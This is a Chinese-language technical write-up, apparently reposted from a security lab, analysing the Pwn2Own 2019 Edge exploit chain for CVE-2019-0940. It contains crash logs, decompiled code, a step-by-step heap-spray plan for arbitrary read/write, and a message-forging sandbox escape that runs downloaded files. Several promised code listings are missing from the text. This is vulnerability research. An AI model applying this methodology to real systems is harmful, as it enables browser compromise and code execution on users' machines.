详细分析Pwn2Own 2019上曝出的Edge的Canvas 2D API漏洞(CVE-2019-0940)利用

释放双眼,带上耳机,听听看~!

点击上方“凌天实验室”可订阅哦!

Pwn2Own 2019再次向世界证明了世界上没有一个完全安全的系统。黑客通过访问特制的页面,已经成功入侵了macOS上的Safari、Windows 10上的Edge和Firefox浏览器,甚至还从两个虚拟机上逃脱在本地硬件上运行代码。

今天我们就以Microsoft Edge浏览器为例,说一说黑客团队是如何发现其中的漏洞,并成功运用它的。该漏洞利用包括两大块:

1. Edge的渲染器重复释放 (double-free)漏洞利用,实现任意读写;

2.沙箱逃逸的逻辑漏洞利用,实现拥有介质完整性等级(Medium Integrity Level)的任意代码执行;


1

重复释放漏洞

该漏洞位于Canvas 2D API组件中,该组件负责创建Canvas模式。重复释放漏洞是由以下JavaScript代码触发的:


如果你运行这个测试用例,你可能会注意到漏洞并不总是发生,可能需要多次尝试才会出现一次漏洞利用。启用pageheap后,漏洞将如下所示:

(470.122c): Access violation – code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

edgehtml!TDispResourceCache::Remove+0x60:

00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh ds:00000249`2681fff8=????????

0:016> r

rax=000002490563a4a0 rbx=0000000000000000 rcx=0000000000000000

rdx=0000000000000000 rsi=000000798c7fa710 rdi=000002492681fff0

rip=00007ffd2e5cd820 rsp=000000798c7fa680 rbp=0000000000000000

 r8=0000000000000000  r9=0000024909747758 r10=0000000000000000

r11=0000000000000025 r12=00007ffd2e999310 r13=0000024904993930

r14=0000024909747758 r15=0000000000000002

iopl=0         nv up ei pl nz na po nc

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206

edgehtml!TDispResourceCache::Remove+0x60:

00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh ds:00000249`2681fff8=????????

0:016> k L7

 # Child-SP          RetAddr           Call Site

00 00000079`8c7fa680 00007ffd`2e5c546d edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x60

01 00000079`8c7fa6b0 00007ffd`2f054ad8 edgehtml!CDXSystemShared::RemoveDisplayResourceFromCache+0x6d

02 00000079`8c7fa710 00007ffd`2f054b54 edgehtml!CCanvasPattern::~CCanvasPattern+0x34

03 00000079`8c7fa740 00007ffd`2e7ac4d9 edgehtml!CCanvasPattern::`vector deleting destructor’+0x14

04 00000079`8c7fa770 00007ffd`2eb2703c edgehtml!CBase::PrivateRelease+0x159

05 00000079`8c7fa7b0 00007ffd`2f053584 edgehtml!TSmartPointer<CCanvasPattern,CStrongReferenceTraits,CCanvasPattern * __ptr64>::~TSmartPointer<CCanvasPattern,CStrongReferenceTraits,CCanvasPattern * __ptr64>+0x18

06 00000079`8c7fa7e0 00007ffd`2f050755 edgehtml!CCanvasRenderingProcessor2D::CreatePatternInternal+0xd8

0:016> ub @rip;u @rip

edgehtml!TDispResourceCache::Remove+0x46:

00007ffd`2e5cd806 488b742440      mov     rsi,qword ptr [rsp+40h]

00007ffd`2e5cd80b 488b7c2448      mov     rdi,qword ptr [rsp+48h]

00007ffd`2e5cd810 4883c420        add     rsp,20h

00007ffd`2e5cd814 415e            pop     r14

00007ffd`2e5cd816 c3              ret

00007ffd`2e5cd817 488b7808        mov     rdi,qword ptr [rax+8]

00007ffd`2e5cd81b 4885ff          test    rdi,rdi

00007ffd`2e5cd81e 74d5            je      edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x35 (00007ffd`2e5cd7f5)

edgehtml!TDispResourceCache::Remove+0x60:

00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh

00007ffd`2e5cd824 488b0f          mov     rcx,qword ptr [rdi]

00007ffd`2e5cd827 0f85dbe04e00    jne     edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x4ee148 (00007ffd`2eabb908)

00007ffd`2e5cd82d 48891f          mov     qword ptr [rdi],rbx

00007ffd`2e5cd830 488bd5          mov     rdx,rbp

00007ffd`2e5cd833 48890e          mov     qword ptr [rsi],rcx

00007ffd`2e5cd836 498bce          mov     rcx,r14

00007ffd`2e5cd839 e8b2f31500      call    edgehtml!CHtPvPvBaseT<&nullCompare,HashTableEntry>::Remove (00007ffd`2e72cbf0)

0:016> !heap -p -a @rdi

    address 000002492681fff0 found in

    _DPH_HEAP_ROOT @ 2497e601000

    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

                                249259795b0:      2492681f000             2000

    00007ffd51857608 ntdll!RtlDebugFreeHeap+0x000000000000003c

    00007ffd517fdd5e ntdll!RtlpFreeHeap+0x000000000009975e

    00007ffd5176286e ntdll!RtlFreeHeap+0x00000000000003ee

    00007ffd2e5cd871 edgehtml!TDispResourceCache<CDispNoLock,1,0>::CacheEntry::`scalar deleting destructor’+0x0000000000000021

    00007ffd2e5cd846 edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x0000000000000086

    00007ffd2e5c546d edgehtml!CDXSystemShared::RemoveDisplayResourceFromCache+0x000000000000006d

    00007ffd2f054ad8 edgehtml!CCanvasPattern::~CCanvasPattern+0x0000000000000034

    00007ffd2f054b54 edgehtml!CCanvasPattern::`vector deleting destructor’+0x0000000000000014

    00007ffd2e7ac4d9 edgehtml!CBase::PrivateRelease+0x0000000000000159

    00007ffd2e89f579 edgehtml!CJScript9Holder::CBaseFinalizer+0x00000000000000a9

    00007ffd2de66f5d chakra!Js::CustomExternalObject::Dispose+0x000000000000002d

    00007ffd2de3c012 chakra!Memory::SmallFinalizableHeapBlockT<SmallAllocationBlockAttributes>::ForEachPendingDisposeObject<<lambda_37407f4cdaf1d704a79fcdd974872764> >+0x0000000000000092

    00007ffd2de3bf0b chakra!Memory::HeapInfo::DisposeObjects+0x000000000000013b

    00007ffd2de81faa chakra!Memory::Recycler::DisposeObjects+0x0000000000000096

    00007ffd2de81e9a chakra!ThreadContext::DisposeObjects+0x000000000000004a

    00007ffd2dd5ac35 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000000000003a5

    00007ffd2dea7956 chakra!amd64_CallFunction+0x0000000000000086

    00007ffd2dd5f9d0 chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x00000000000002f0

    00007ffd2dd5fac8 chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0x00000000000000b8

    00007ffd2dd5fd41 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x0000000000000161

    00007ffd2dd48a21 chakra!Js::InterpreterStackFrame::Process+0x00000000000000e1

    00007ffd2dd486ff chakra!Js::InterpreterStackFrame::InterpreterHelper+0x000000000000088f

    00007ffd2dd4775e chakra!Js::InterpreterStackFrame::InterpreterThunk+0x000000000000004e

    00000249226f1fb2 +0x00000249226f1fb2

漏洞分析

Javascript createPattern()触发本机CCanvasRenderingProcessor2D::CreatePatternInternal()调用:


在第21行上,堆管理器为Canvas模式对象分配空间,在接下来的行中,某些成员被设置为0。注意CCanvasPattern::Data成员填充在第28行,这一点很重要。

接下来是对CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget()方法的调用,该方法负责为目标设备上的Canvas模式对象分配视频内存。在某些情况下,该方法返回一个错误。对于重复释放漏洞来说,当Windows GDI D3DKMTCreateAllocation()返回错误STATUS_GRAPHICS_NO_VIDEO_MEMORY(错误代码0xc01e0100)时,将触发该错误。将Canvas对象的宽度和高度设置为巨大的值会导致视频设备返回内存不足的错误。下面的调用堆栈显示了Canvas对象的宽度和高度被设置为较大值之后以及在连续调用createPattern()之后所采用的路径:

Breakpoint 1 hit

GDI32!D3DKMTCreateAllocation:

00007ffe`67a72940 48895c2420      mov     qword ptr [rsp+20h],rbx ss:000000b3`f59f82b8=000000000000b670

0:015> k

 # Child-SP          RetAddr           Call Site

00 000000b3`f59f8298 00007ffe`61fd598e GDI32!D3DKMTCreateAllocation

01 000000b3`f59f82a0 00007ffe`61fd39b5 d3d11!CallAndLogImpl<long (__cdecl*)(_D3DKMT_CREATEALLOCATION * __ptr64),_D3DKMT_CREATEALLOCATION * __ptr64>+0x1e

02 000000b3`f59f8300 00007ffe`605a1b4f d3d11!NDXGI::CDevice::AllocateCB+0x105

03 000000b3`f59f84c0 00007ffe`605a24dc vm3dum64_10+0x1b4f

04 000000b3`f59f8540 00007ffe`605ab258 vm3dum64_10+0x24dc

05 000000b3`f59f86a0 00007ffe`605ac163 vm3dum64_10!OpenAdapterWrapper+0x1b8c

06 000000b3`f59f8750 00007ffe`61fc3ce2 vm3dum64_10!OpenAdapterWrapper+0x2a97

07 000000b3`f59f87d0 00007ffe`61fc3a13 d3d11!CResource<ID3D11Texture2D1>::CLS::FinalConstruct+0x2b2

08 000000b3`f59f8b70 00007ffe`61fb98ba d3d11!TCLSWrappers<CTexture2D>::CLSFinalConstructFn+0x43

09 000000b3`f59f8bb0 00007ffe`61fbd107 d3d11!CDevice::CreateLayeredChild+0x2bca

0a 000000b3`f59fa410 00007ffe`61fbcf73 d3d11!NDXGI::CDeviceChild<IDXGIResource1,IDXGISwapChainInternal>::FinalConstruct+0x43

0b 000000b3`f59fa480 00007ffe`61fbca1c d3d11!NDXGI::CResource::FinalConstruct+0x3b

0c 000000b3`f59fa4d0 00007ffe`61fbd3c0 d3d11!NDXGI::CDevice::CreateLayeredChild+0x1bc

0d 000000b3`f59fa640 00007ffe`61fb43bb d3d11!NOutermost::CDevice::CreateLayeredChild+0x1b0

0e 000000b3`f59fa820 00007ffe`61fb297c d3d11!CDevice::CreateTexture2D_Worker+0x4cb

0f 000000b3`f59fade0 00007ffe`46cd68db d3d11!CDevice::CreateTexture2D+0xac

10 000000b3`f59fae70 00007ffe`46cd3dcd edgehtml!CDXResourceDomain::CreateTexture+0xfb

11 000000b3`f59faf20 00007ffe`46cd3d5e edgehtml!CDXSystem::CreateTexture+0x59

12 000000b3`f59faf70 00007ffe`46ed2dda edgehtml!CDXTextureTargetSurface::OnEnsureResources+0x15e

13 000000b3`f59fb010 00007ffe`46ed2e78 edgehtml!CDXTargetSurface::EnsureResources+0x32

14 000000b3`f59fb050 00007ffe`46ed2c71 edgehtml!CDXRenderTarget::EnsureResources+0x68

15 000000b3`f59fb0a0 00007ffe`46da4ba4 edgehtml!CDXRenderTarget::BeginDraw+0x81

16 000000b3`f59fb100 00007ffe`470180b5 edgehtml!CDXTextureRenderTarget::BeginDraw+0x34

17 000000b3`f59fb170 00007ffe`46cd8033 edgehtml!CDispSurface::BeginDraw+0xf5

18 000000b3`f59fb1d0 00007ffe`46cd7fa6 edgehtml!CCanvasRenderingProcessor2D::OpenBitmapRenderTarget+0x6b

19 000000b3`f59fb230 00007ffe`47831881 edgehtml!CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget+0x52

1a 000000b3`f59fb260 00007ffe`4782eaa5 edgehtml!CCanvasRenderingProcessor2D::CreatePatternInternal+0x85

1b 000000b3`f59fb2c0 00007ffe`47539d46 edgehtml!CCanvasRenderingContext2D::Var_createPattern+0xc5

1c 000000b3`f59fb330 00007ffe`47174135 edgehtml!CFastDOM::CCanvasRenderingContext2D::Trampoline_createPattern+0x52

1d 000000b3`f59fb380 00007ffe`464dc47e edgehtml!CFastDOM::CCanvasRenderingContext2D::Profiler_createPattern+0x25

0:015> pt

GDI32!D3DKMTCreateAllocation+0x18e:

00007ffe`67a72ace c3              ret

0:015> r

rax=00000000c01e0100 rbx=000000b3f59f8508 rcx=1756445c6ae30000

rdx=0000000000000000 rsi=0000000000000000 rdi=00007ffe62186ae0

rip=00007ffe67a72ace rsp=000000b3f59f8298 rbp=000000b3f59f8530

 r8=000000b3f59f81c8  r9=000000b3f59f84e0 r10=0000000000000000

r11=0000000000000246 r12=0000000000000000 r13=0000000000000000

r14=000002ae9f3326c8 r15=0000000000000000

iopl=0         nv up ei pl nz na pe nc

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

GDI32!D3DKMTCreateAllocation+0x18e:

00007ffe`67a72ace c3              ret

要触发错误,就得具备一个前提,目标硬件具有集成视频卡或具有低内存的视频卡。这些条件在VMWare图形虚拟化硬件或一些预算设备上都可以满足。不过,这可能触发不依赖于目标硬件资源的其他错误。

在正常情况下(即调用CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget()方法不会返回任何错误),会调用CCanvasPattern::Initialize()方法:


在第40行,Canvas模式对象成员之一被设置为指向CCanvasPattern::Data对象。

在调用CCanvasPattern::InitializeFromCanvas()方法期间,会执行一系列调用,这最终会导致调用以下方法:


上述方法将显示资源添加到缓存中,在当前情况下,显示资源是DXImageRenderTarget对象,缓存是在TDispResourceCache类中实现的哈希表。

在第32行,会发生对TDispResourceCache< cdisnolock,1,0>::Add()方法的调用:


第27行被分配了易受攻击的对象,要注意,该对象不是通过MemGC机制分配的。

哈希表项由键值对(Key-Value Pair) 组成,键是CCanvasPattern::Data,数据对象的值是DXImageRenderTarget。哈希表的初始大小允许它最多容纳29个项,但其实该表需要37个项的空间。因此,需要额外的表项来减少可能的哈希冲突。每个键都应用一个哈希函数来推断哈希表中的位置。当哈希表被填满时,调用CHtPvPvBaseT <&int nullCompare(…),HashTableEntry> :: Grow()方法以增加哈希表的容量。在此调用期间,键值对将被移动到新的索引,键将从以前的位置删除,但值仍然保留。如果在容量增长之后必须删除键值对(例如释放Canvas模式对象),则释放该值,并且仅在新位置删除键值。

当表项数量低于某个值时,调用CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink()方法来减少哈希表的容量。当CHtPvPvBaseT<&int nullCompare(…)、HashTableEntry>::Shrink()方法被调用时,键值对被移动到先前的位置。

当释放Canvas模式对象时,通过以下方法调用删除包含相应CCanvasPattern::Data对象的哈希表项:

__int64 __fastcall TDispResourceCache<CDispNoLock,1,0>::Remove(

    __int64 resourceCache,

    __int64 a2,

    _QWORD *a3

)

{

    __int64 entries; // r14

    unsigned int hr; // ebx

    _QWORD *savedPtr_out; // rsi

    __int64 entryKey; // rbp

    HashTableEntry *hashTableEntry; // rax

    VulnObject *freedObject; // rdi

    bool doFreeObject; // zf

    __int64 savedPtr; // rcx

    void *v12; // rdx

 

    entries = resourceCache + 0x10;

    hr = 0;

    *a3 = 0i64;

    savedPtr_out = a3;

    entryKey = a2;

    hashTableEntry = CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::FindEntry((resourceCache + 0x10), a2);

    if ( hashTableEntry && (freedObject = hashTableEntry->value) != 0i64 )

    {

        doFreeObject = LODWORD(freedObject->refCounter)– == 0;

        savedPtr = freedObject->ptrToDXImageRenderTarget;

        if ( doFreeObject )

        {

            freedObject->ptrToDXImageRenderTarget = 0i64;

            *savedPtr_out = savedPtr;

            CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::Remove(entries, entryKey);

            TDispResourceCache<CDispSRWLock,1,1>::CacheEntry::`scalar deleting destructor`(freedObject, v12);

        }

        else

        {

            *savedPtr_out = savedPtr;

            (*(*savedPtr + 8i64))(savedPtr);

        }

    }

    else

    {

        hr = 0x80004005;

    }

    return hr;

}

该方法通过调用CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() 方法检索哈希表项值。

如果对CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget()的调用返回一个错误,Canvas模式对象就有一个未初始化的成员,该成员应该持有指向CCanvasPattern::Data对象的指针。尽管如此,canvas模式对象析构函数调用CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry()方法,并提供一个nullptr键。如果有的话,该方法返回第一个值。如果哈希表先增长然后再减小,它将存储指向已释放的DXImageRenderTarget对象的指针。在这种情况下,TDispResourceCache< cdisnolock,1,0>::Remove()方法将对已释放的对象(变量freedObject)进行操作。

需要多次尝试才能触发漏洞,因为在第一个位置并不总是有表项。

可以通过以下两种方式利用此漏洞:

1.分配一些对象来代替已释放的对象并释放它,从而在几乎任意的对象上产生一个Use-after-free漏洞(简称UaF漏洞);

2.分配一些具有合适布局的对象(第一个quad-word必须是指向具有虚函数表的对象的指针) 来调用虚函数并导致诸如破坏一些有用数据的副作用;

选择第一种方法进行利用是因为很难找到适合第二种方法的对象。

漏洞利用

由于以下原因,该漏洞的攻击力显得非常具有攻击力:

1.Microsoft Edge在不同堆上分配不同大小和类型的对象,这减少了可用对象的数量;

2.释放的对象在使用LFH的默认Windows堆上分配,这使得不可能创建相邻的分配,并降低了成功覆盖对象的机会;

3.释放的对象是0x10字节,这种大小的对象通常用于内部维修,这使得相关堆区域繁忙,同时也降低了利用可靠性;

4.只有有限的0x10字节大小的LFH对象可以从Javascript中获得,而且实际上是有用的;

5.Javascript中可用于控制的对象只允许有限的控制;

6.在利用过程中使用的任何对象都不允许直接破坏任何字段,从而导致有用的效果(例如可控写入);

7.需要多个小堆分配和释放来获得对具有感兴趣字段的对象的控制。

渲染器利用过程的高级概述:

1.已准备好堆,并对攻击所需的对象进行喷洒;

2.所有0x10字节的DXImageRenderTarget对象都被释放(其中一个对象将再次被释放);

3.喷洒音频缓冲对象,这也会创建具有任意大小和内容的0x10字节原始数据缓冲区对象,有些缓冲区会占用已释放的位置;

4.触发重复释放漏洞,释放一个0x10字节的原始数据缓冲区对象(可以读写这个对象)

5.喷洒0x10字节大小的对象,它们包含两个指针(0x8字节)到0x20字节大小的原始数据缓冲区对象;

6.该漏洞遍历第3步分配的原始数据缓冲区对象,并搜索覆盖;

7.在步骤5中分配的对象被释放(具有0x20字节大小的对象)并且在它们上面喷洒0x20字节大小的数组;

8.漏洞利用指向两个喷涂类型的数组;

9.喷洒0x10字节大小的对象,它们包含指向0x200字节大小的原始数据缓冲区对象的两个指针,音频源将继续写入这些缓冲区;

10.漏洞利用指向两个喷洒的写入缓冲区对象;

11.该漏洞攻击开始播放音频,并开始写入循环中的类型化数组的可控(易受攻击)对象地址(地址增加0x10字节,指向类型数组的长度),音频缓冲区源节点继续写入0x200字节的数据缓冲区,但是重写指向0x10字节对象中缓冲区的指针;

12.在一定量的迭代之后,漏洞停止循环并检查类型化数组是否增加了长度;

13.此时,漏洞利用已经实现了相对读写原语;

14.该漏洞使用相对读取来查找WebCore::AudioBufferData和WTF::NeuteredTypedArray对象(它们位于堆上的相邻位置);

15.该漏洞使用前一步中找到的数据来构造一个可用于任意读写的类型化数组;

16.该漏洞会创建一个虚拟化DataView对象,以便更方便地访问内存;

17. 实现任意读写后,该漏洞将启动沙箱逃脱;


下图可以帮助你理解所描述的步骤:

获取相对读写原语

为了要触发此漏洞,需要创建30个canvas模式对象,这将迫使哈希表不断增长。然后释放Canvas模式对象并收缩哈希表,以此在哈希表项中创建一个指向DXImageRenderTarget的悬空指针,现在还无法访问指向已释放对象的指针。

在通过TDispResourceCache< cdisnolock,1,0>::Remove方法释放DXImageRenderTarget对象之后,执行喷洒来分配音频上下文数据缓冲区对象,我们先将该方法称为spray“A”。数据缓冲区对象是通过调用音频上下文createBuffer()创建的。该函数的原型如下:

numOfchannels参数表示要创建的多个指向通道数据的指针,length是数据缓冲区的长度,sampleRate对于利用并不重要。Javascript createBuffer()触发对CDOMAudioContext::Var_createBuffer()的调用,最终调用WebCore::AudioChannelData::Initialize():

在第17行WTF::IEOwnedTypedArray对象被分配到默认的Windows堆上。这个对象很有趣,因为它包含以下元数据:


第21行被分配了数据缓冲区(也在默认的Windows堆上)。其中一个缓冲区替代已释放的DXImageRenderTarget对象。这个数据缓冲区的布局如下:

第二个quad-word是一个参考计数器,除1以外的值会触发对不存在的虚拟功能表的访问并导致漏洞,引用计数器值为1表示对象将被释放。

在整个漏洞利用期间,在释放对象的位置上分配的数据缓冲区用于读取和写入放置在该缓冲区中的值。

在第二次释放对象之前,通过调用Javascript createBufferSource()创建音频上下文缓冲源( buffer source)。这个函数不接受任何参数,但是期望设置buffer属性。分配是在释放易受攻击的对象之前进行的,这样可以避免堆上不必要的噪音,我们先将该方法称为spray“B”。通过调用createBuffer()将buffer属性设置为在启动期间(即触发漏洞之前)创建的一个buffer对象,我们先将该方法称为spray“C”。在此属性访问过程中,将调用以下方法:

第71行分配了另一个数据缓冲区,字节的数量取决于通道的数量。每个通道创建一个指针,指向具有任意大小和可控制内容的数据。这是一个有用的原语,稍后将在利用过程中会被用到。

要触发对WebCore::AudioBufferSourceNode::setBuffer()方法的调用,音频必须已经在播放:要么使用已经设置的buffer属性调用start(),要么设置buffer属性,然后调用start()。

接下来,触发重覆释放漏洞,并释放其中一个音频通道数据缓冲区,但会保留来自Javascript的控制。

在spray“B”的每个对象上调用音频缓冲源对象的start()方法,这将创建多个0x10字节大小的对象,其中两个指针指向spray“C” 的0x20字节大小的数据缓冲区对象。在这个喷洒过程中,被喷洒的对象将接管从喷洒“A”中释放的对象。

然后,该漏洞利用spray“A”迭代,以找到包含更改内容的数据缓冲区。spray“A”的每个对象都有getChannelData(),它将通道数据作为Float32Array类型的数组返回。getChannelData()只接受通道号参数。找到更改后,就会创建一个类型化数组。这个类型化数组是可读可写的,并且在漏洞利用和写入指针时还被多次使用,我们暂且称该方法为类型化数组“TA1”。

找到可控通道数据类型数组后,释放所有的spray“B”对象。所有与spray“B”相关的数据都只适用于一个函数。这需要从spray“C”中删除Javascript到数据缓冲区的所有内部引用。否则,以后将不可能释放数据缓冲区。

函数返回之后,又生成了另一次喷洒,我们将其称为spray“D”。这个喷洒会为下一步准备一个音频缓冲源数据,并接管释放的对象。此时,覆盖的对象不包含数据。

然后该漏洞遍历spray“D”并调用每个对象的start()函数,这会向释放的对象写入两个指向0x200字节大小的对象的指针。这些对象被音频上下文用来编写要播放的音频数据。需要注意的是,数据会定期写入此缓冲区,以及不断写入0x10字节对象的指针。不过,这带来了另一个问题,这些指针也会通过“TA1”类型数组泄漏。

然后释放用于spray“B”的缓冲区对象,并执行另一个喷洒方法来接管刚刚释放的数据缓冲区,我们将其称为Spray“E”。Spray“E”分配类型化数组(大小为0x20字节),其中一个类型化数组覆盖释放的0x20字节数据缓冲区的内容。这允许通过类型化数组“TA1”泄漏指向两个喷洒型数组的指针。该漏洞利用只需要一个指向类型化数组的指针,让我们将其称为类型化数组“TA2”。这个类型化数组指向0x30字节的数据缓冲区,这个缓冲区的大小很重要,因为它允许在附近放置其他对漏洞利用有用的对象。

此时,我们已经知道两个类型化数组和两个音频写入缓冲区的位置。此时,该漏洞进入一个循环过程,该循环不断地将指向“TA2”类型数组的指针写入0x10字节对象。写入的指针增加0x10字节,以指向length字段。循环过程是发现漏洞所必需的过程,因为音频上下文线程会不断在循环过程中重写0x10字节对象中的指针。经过一定次数的迭代后,循环结束,此时漏洞搜索也会覆盖整个类型化数组。

被覆盖的WTF::IEOwnedTypedArray类型化数组给出了相对读写原语。

获取任意读写原语

在触发该漏洞之前,该漏洞已经生成了另一个喷洒过程,它分配了缓冲源并为源分配了适当的缓冲区,让我们称之为spray“F”。在这个过程中,使用以下内存布局创建0x30字节大小的WebCore::AudioBufferData对象:

0:016> dq 000001b0`379e9570 L30/8

000001b0`379e9570  00007ffe`47f85988 00000000`45fa0000

000001b0`379e9580  00000000`0000000c 000001b0`379e9420

000001b0`379e9590  0000000a`0000000a 00000000`00000001

0:016> ln 00007ffe`47f85988

(00007ffe`47f85988)   edgehtml!RefCounted<WebCore::AudioBufferData,MultiThreadedRefCount>::`vftable`

这些对象被放置在由类型数组“TA2”控制的数据缓冲区附近,大小为0x30字节的WTF :: NeuteredTypedArray对象也放在附近。

0:016> dq 000001b0`379e97b0 L30/8

000001b0`379e97b0  00007ffe`47f8b460 000001b0`21fa7fa0

000001b0`379e97c0  00000000`00000020 000001b0`20e6e550

000001b0`379e97d0  00000000`00000001 000001b0`381fc380

0:016> ln 00007ffe`47f8b460

(00007ffe`47f8b460)   edgehtml!WTF::NeuteredTypedArray<1,float>::`vftable`

在获得相对读写原语之后,通过搜索特定的模式可以找到从类型化数组“TA2”缓冲区开始到这些对象的偏移量。

知道WebCore::AudioBufferData对象的偏移量后,就可以找到指向音频通道数据缓冲区的指针。音频通道数据用于创建一个虚拟的可控DataView对象,最终实现一个任意的读写原语。在WebCore::AudioBufferData对象的偏移0x18处,存储指向音频通道数据缓冲区的指针。在调用getChannelData()之前,通道数据缓冲区的内存布局如下:

调用WebCore::AudioBufferData对象的getChannelData()成员后,通道数据缓冲区中的指针将被移动,并开始指向Chakra堆上分配的类型化数组对象。这一点很重要,因为它允许类型化数组指针发生泄漏并创建一个虚拟化类型化数组。以下是调用getChannelData()后通道数据缓冲区的内存布局:

知道WTF::NeuteredTypedArray对象的偏移量,就可以实现任意读取原语。

此对象指向的缓冲区不能用于写入操作,一旦写入操作发生,缓冲区就会被移动到另一个堆。由于启用了安全断言,因此不可能增加缓冲区的长度。试图用修改后的长度写入缓冲区会导致渲染器进程崩溃。

WTF :: NeuteredTypedArray对象的布局如下:

指向数据缓冲区的指针存储在偏移量8处,可以覆盖这个指针并指向任意读取内存的地址。

使用任意读取原语,类型化数组的内容和WebCore :: AudioBufferData对象的通道数据缓冲区被泄露。通过写入相对类型数组的能力,将以下内容放在可控缓冲区中。

在此操作之后,WebCore::AudioBufferData对象指向虚拟化通道数据(位于0x00000140e87e7da0)。通道数据包含指向虚拟化DataView对象的指针(位于0x00000140e87e7eb0)。最初,Float32Array对象被泄漏和放置,但它不是一种非常方便的类型用于攻击。若要将其转换为DataView对象时,必须在元数据中更改类型标记。Float32Array对象类型的类型标记是0x31, DataView对象的类型标记是0x38。

通过调用WebCore::AudioBufferData对象的getChannelData()访问虚拟化DataView对象,此时就可以实现任意的读写原语。


2

沙箱逃逸的逻辑漏洞利用

Microsoft Edge Manager进程接受来自其他进程的消息,包括内容进程。有些消息只能在内部运行,而不会跨越进程边界。内容进程可以发送应该仅在Manager进程内发送的消息,如果这样的消息被攻击者利用,则可以伪造用户点击过程,从而下载并启动任意二进制文件。

当启动可执行文件的下载(通过JavaScript代码或用户请求)时,将出现含有按钮的通知栏,并向用户提供三个选项:“运行”负责运行所提供的文件;“下载”负责进行下载以下载或“取消”负责取消进程。如果用户单击“运行”,则会将一系列消息从一个管理器进程窗口发送到另一个进程窗口。通过使用以下断点,可以查看调试器中传递的消息类型:

bu edgeIso!LCIEPostMessage “.printf \”\\n—\\n%y(%08x, %08x, %08x, …)\\n\”, @rip, @rcx, @rdx, @r8; k L10; g”

bu edgeIso!LCIEPostMessageWithoutBuffer “.printf \”\\n—\\n%y(%08x, %08x, %08x, …)\\n\”, @rip, @rcx, @rdx, @r8; k L10; g”

bu edgeIso!LCIEPostMessageWithDISPPARAMS “.printf \”\\n—\\n%y(%08x, %08x, %08x, …)\\n\”, @rip, @rcx, @rdx, @r8; k L10; g”

bu edgeIso!IsoPostMessage “.printf \”\\n—\\n%y(%08x, %08x, %08x, …)\\n\”, @rip, @rcx, @rdx, @r8; k L10; g”

bu edgeIso!IsoPostMessageWithoutBuffer “.printf \”\\n—\\n%y(%08x, %08x, %08x, …)\\n\”, @rip, @rcx, @rdx, @r8; k L10; g”

bu edgeIso!IsoPostMessageUsingVirtualAddress “.printf \”\\n—\\n%y(%08x, %08x, %08x, …)\\n\”, @rip, @rcx, @rdx, @r8; k L10; g”

在导航和后续文件下载期间发送的大量消息,形成了复杂的动作顺序。以下列表表示在普通用户活动期间由内容进程(CP)或管理器进程(MP)执行的操作:

1.点击要导航链接或导航由JS代码触发

2.触发导航事件(CP到MP)

3.创建和处理模式下载通知栏的消息被发送(CP到MP)

4.出现模式通知栏

5.处理导航和历史状态消息被发送(CP到MP)

6.发送处理DOM事件消息 (CP到MP)

7.处理下载发送带有相关下载资料消息(CP至MP)

8.运行文件下载

9.发送关于下载状态消息(MP到CP)

10.CP以更新的文件下载信息进行响应并在进程中终止下载处理

11.MP选择文件下载处理并向Wins发送消息(MP到MP)

12.MP启动下载文件安全扫描(MP到MP)

13.扫描成功发送一条消息运行该文件

14.browser_broker.exe代理进程负责启动可执行文件

这一系列调用中的第一条消息就是对用户点击的响应,该响应会启动一系列消息传递事件。。接下来是一条对漏洞利用很重要的消息,因为调用堆栈包含漏洞将模拟的函数。调试器日志文件的摘录如下:

edgeIso!LCIEPostMessage (00007ffe`d46ab110)(00000402, 00000402, 00000c65, …)

 # Child-SP          RetAddr           Call Site

00 0000005d`65cfe928 00007ffe`af8de928 edgeIso!LCIEPostMessage

01 0000005d`65cfe930 00007ffe`af696d18 EMODEL!DownloadStateProgress::LCIESendToDownloadManager+0x118

02 0000005d`65cfe9b0 00007ffe`af696b1d EMODEL!CDownloadSecurity::_SendStateChangeMessage+0xe0

03 0000005d`65cfead0 00007ffe`af6954f5 EMODEL!CDownloadSecurity::_OnSecurityChecksComplete+0xa5

04 0000005d`65cfeb00 00007ffe`af6878c8 EMODEL!CDownloadSecurity::OnSecurityCheckCallback+0x45

05 0000005d`65cfeb30 00007ffe`af686dc2 EMODEL!CDownloadManager::OnDownloadSecurityCallback+0x58

06 0000005d`65cfeb70 00007ffe`af4604b7 EMODEL!CDownloadManager::HandleDownloadMessage+0x11e

07 0000005d`65cfed40 00007ffe`d469cccf EMODEL!LCIEAuthority::LCIEAuthorityManagerWinProc+0x2067

08 0000005d`65cff410 00007ffe`d469d830 edgeIso!IsoDispatchMessageToArtifacts+0x54f

09 0000005d`65cff520 00007fff`08506d41 edgeIso!_IsoThreadMessagingWindowProc+0x1f0

发送的最后一条消息也很重要,它具有标识符0xd6b,负责启动运行文件。调试器日志文件的摘录如下:

edgeIso!IsoPostMessage (00007ffe`d46ad8c0)(00000402, 00000402, 00000d6b, …)

